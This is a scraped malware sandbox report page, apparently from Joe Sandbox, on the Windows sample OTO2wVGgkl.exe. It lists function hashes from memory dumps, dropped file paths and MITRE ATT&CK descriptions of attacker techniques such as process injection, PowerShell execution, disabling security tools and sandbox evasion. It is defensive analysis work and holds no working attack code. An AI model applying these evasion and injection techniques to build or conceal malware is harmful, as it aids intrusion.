Instruction ID: 72f31b5798e24ab8eb17f8a1ced9c4a6befd5ed2cf7144af498ae874df72ca3e
Opcode Fuzzy Hash: 115f41afa825531bba72919bb761bab228fde119b1890eaad57cc23d002355f4
Instruction Fuzzy Hash: 3F2192755093C09FCB02CF24D990715BF71EB46314F28C5EAD8498F6A7C33A984ACB62

Function 04F40153 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d83bd03bf77b405a790c2d18997d94b96ccc83f7e105aaef59aae12a6fce7916
Instruction ID: 1339105b5786c24ba72c288d58868bb4b3e3d1deb2358d9c2513a525c8546738
Opcode Fuzzy Hash: d83bd03bf77b405a790c2d18997d94b96ccc83f7e105aaef59aae12a6fce7916
Instruction Fuzzy Hash: EA11C635A08300AFD7406BB49D1D7EE7FB5EB44310F1440AAE50ACB3C1EF3809068BA1

Function 00D1D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2295165796.0000000000D1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9c5df3739d9922357d97ee08fe41b46f5237faea4d682c3f3ac9d5e7d34632
Instruction ID: 74191023dd599386302fd4721bb770dc5a523dc55fbcd68f09200469421ca797
Opcode Fuzzy Hash: ac9c5df3739d9922357d97ee08fe41b46f5237faea4d682c3f3ac9d5e7d34632
Instruction Fuzzy Hash: 2F119D75904284EFCB15CF14D5C4B55FFA2FB84314F28C6ADD8494B656C33AD88ACB62

Function 04F40E60 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96cbb814f5801453d54382d3a1e5566ee63dd276b5ce0730ec88cd91f4350117
Instruction ID: a85defad2cb5abcbbf92142d3dee95b4b5a265582d9f6c7e6c4237947a2b01de
Opcode Fuzzy Hash: 96cbb814f5801453d54382d3a1e5566ee63dd276b5ce0730ec88cd91f4350117
Instruction Fuzzy Hash: 0601225A71C3914FCB12063A18612BA3FB58FC3304B0901ABCD42CB282EE29CD1783A1

Function 04F40170 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc0dd070a9f97a66eb7e2c4f237e56d1299f373705aec2fa25fd82c7933cd54
Instruction ID: be7fb834e63f6c29ece9a64eea92fa0fbd6371a1694441a8fbf1d3b33a141a85
Opcode Fuzzy Hash: 7fc0dd070a9f97a66eb7e2c4f237e56d1299f373705aec2fa25fd82c7933cd54
Instruction Fuzzy Hash: 1E012134A04214AFD744ABB89E197AE7AA5EB44710F10406AE60ADA780DF7419018BA2

Function 04F40E88 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe2d216f492f0fb34ea66a3c64a861efa5ce171d4bc33e5c47a5d117b1cfee1
Instruction ID: d9a54d3e8d82c9e937b81fe39c1d06638c1a0fa0d59d2e107cdf88d4cd0cc805
Opcode Fuzzy Hash: 2fe2d216f492f0fb34ea66a3c64a861efa5ce171d4bc33e5c47a5d117b1cfee1
Instruction Fuzzy Hash: ABE0DF267282125B4F20117F291003B7EEE8FD5740708042B9F06D7384FEB9ED2342A0

Function 04F406C4 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb94d203f9c316a7b6e1b430a6fff58729a3f468c2c84af714c7f038783eea4d
Instruction ID: 087d26a645b0666d92d5fc27f2002c46561b1ad09a3a3de81be7aee699bab702
Opcode Fuzzy Hash: cb94d203f9c316a7b6e1b430a6fff58729a3f468c2c84af714c7f038783eea4d
Instruction Fuzzy Hash: 56F0392964D3908FC3168B2098A5F567F72AB83304B1BC0EBD5858F1E3CA699C0EDB11

Function 04F401C1 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95188ed13c7ddb57dfd9af9ffb95ec864291278869c0119ac792d8be9d330775
Instruction ID: 447cb5ba43727bc6cd111cc5d088e471a6207ff845be61710f57d93d50123498
Opcode Fuzzy Hash: 95188ed13c7ddb57dfd9af9ffb95ec864291278869c0119ac792d8be9d330775
Instruction Fuzzy Hash: 95D05B39700525CBCF047BF8662D26C7F62DB84711B144069E907DB781DF2C09134F96

Function 04F406E0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f7008135b41fe99f7a4bbd9472d947bdb466478f4e325662c73ad6793daffc3
Instruction ID: 58088eb139a07d611a37ac687c8bf8ce15a76dee1f20da28745c8bc292e5ef3b
Opcode Fuzzy Hash: 1f7008135b41fe99f7a4bbd9472d947bdb466478f4e325662c73ad6793daffc3
Instruction Fuzzy Hash: 9ED0A738B003048FC318D714D945F16BB97E780704F01C4A5E6044F2D6CE31EC05CB44

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OTO2wVGgkl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itjzzu2l.pm1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqsczsg5.xe4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0nb5tch.aft.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkcd0xhi.wn1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rioed2h5.n30.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_worwp5ks.wos.ps1

Windows Analysis Report
OTO2wVGgkl.exe

Function 00007FF6975A40C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Function 00007FF6975A1D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Function 00007FF6975A1684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Function 00007FF6975A66C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF6975A2DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre